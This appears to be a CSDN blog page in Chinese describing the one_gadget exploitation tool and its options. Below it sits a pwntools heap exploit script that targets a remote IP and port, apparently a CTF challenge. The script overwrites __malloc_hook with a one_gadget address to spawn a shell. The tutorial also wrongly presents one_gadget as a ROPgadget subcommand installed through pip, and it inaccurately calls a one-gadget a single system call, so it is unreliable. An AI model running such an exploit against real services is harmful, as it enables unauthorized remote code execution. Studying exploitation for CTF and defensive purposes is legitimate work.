one_gadget使用

本文介绍了one_gadget,一个在二进制文件分析中寻找潜在远程代码执行(RCE)漏洞的工具。文章详细阐述了如何安装、使用和分析one_gadget,以及其在查找和利用one-gadget利用点中的关键作用。
摘要由CSDN通过智能技术生成

 

one_gadget 是一个在二进制分析(尤其是利用分析)中常用的工具,它用于查找在给定二进制文件中可能存在的 "one-gadget" RCE(Remote Code Execution,远程代码执行)利用点。这些 "one-gadget" 通常指的是单个系统调用,当被正确利用时,能够直接赋予攻击者远程代码执行的能力,而无需链式利用多个漏洞。

以下是使用 one_gadget 的一些基本步骤:

1.安装

首先,你需要安装 one_gadget。这通常是通过 ROPgadget 工具集来完成的,因为 one_gadgetROPgadget 的一个子命令。你可以使用 pip 来安装 ROPgadget

pip install ropgadget

 2.查找 one-gadget

使用 one_gadget 命令,并指定要分析的二进制文件作为参数。例如:

one_gadget /path/to/binary

这将列出在给定二进制文件中找到的所有可能的 "one-gadget" 利用点。

3.分析

查看 one_gadget 的输出,分析哪些利用点可能是可利用的。通常,你需要查看这些利用点是否可以被你的攻击场景所触发,以及是否满足所需的条件(例如,正确的参数、权限等)。

4.利用

如果你找到了一个可利用的 "one-gadget",那么下一步就是构建一个利用链来触发这个利用点。这通常涉及到对二进制文件进行ROP(Return-Oriented Programming,返回导向编程)或JOP(Jump-Oriented Programming,跳转导向编程)分析,以找到一系列的代码片段(称为 gadgets),这些代码片段可以被链接起来以执行所需的攻击。

5.测试

在构建完利用链后,对其进行测试以确保其有效性。这通常涉及到在受控的环境中模拟攻击场景,并观察是否能成功触发利用并获得预期的效果。

需要注意的是,one_gadget 只是一个辅助工具,用于查找可能的利用点。成功利用一个 "one-gadget" 通常需要深入理解和分析目标二进制文件的行为,以及攻击场景的具体细节。此外,随着软件安全性的提高和漏洞修复的不断进行,可用的 "one-gadget" 利用点可能会变得越来越少。因此,在使用 one_gadget 时,最好将其与其他工具和技术结合起来,以进行更全面的二进制分析和利用开发。

one_gadget 的使用说明如下:

用法:one_gadget <FILE|-b BuildID> [options]

选项:

    -b, --build-id BuildID:libc 的 BuildID(sha1 哈希)。
    -f, --[no-]force-file:强制在文件中搜索 gadgets,而不是首先使用 build ID。
    -l, --level OUTPUT_LEVEL:输出级别。
    one_gadget 会自动选择具有较高成功概率的 gadgets。
    增加这个级别可以让 one_gadget 显示它找到的更多 gadgets。
    默认值:0
    -n, --near FUNCTIONS/FILE:根据给定的函数或给定文件的 GOT 函数,按 gadgets 与它们的距离排序。
    -r, --[no-]raw:仅输出 gadgets 的偏移量,用空格分隔。
    -s, --script exploit-script:使用所有可能的 gadgets 运行漏洞利用脚本。
    脚本将以 'exploit-script $offset' 的形式运行。
    --info BuildID:给定 BuildID,显示版本信息。
    --base BASE_ADDRESS:libc 的基地址。
    默认值:0
    --version:显示当前 gem 版本。

翻译解释:

one_gadget 是一个用于在二进制文件中查找可能存在的 "one-gadget" 利用点的工具。"one-gadget" 通常指的是单个系统调用,当正确利用时,能够赋予攻击者远程代码执行的能力。

使用 one_gadget 时,你需要指定一个二进制文件或 libc 的 BuildID 作为输入。然后,你可以使用各种选项来调整搜索行为和输出格式。例如,-b 选项允许你通过 BuildID 指定 libc 库,而 -l 选项则用于控制输出级别,以显示更多或更少的 gadgets。

-n 选项允许你根据给定的函数或文件与 gadgets 的距离来排序输出,这对于某些特定的攻击场景可能很有用。

-r 选项用于仅输出 gadgets 的偏移量,这在某些自动化脚本或工具中可能很有用。

-s 选项允许你指定一个脚本,该脚本将使用所有找到的 gadgets 作为输入进行运行,这对于自动化漏洞利用测试可能很有用。

最后,--info 和 --version 选项分别用于显示版本信息和当前 gem 的版本。

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()这串代码的知识点
06-01
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值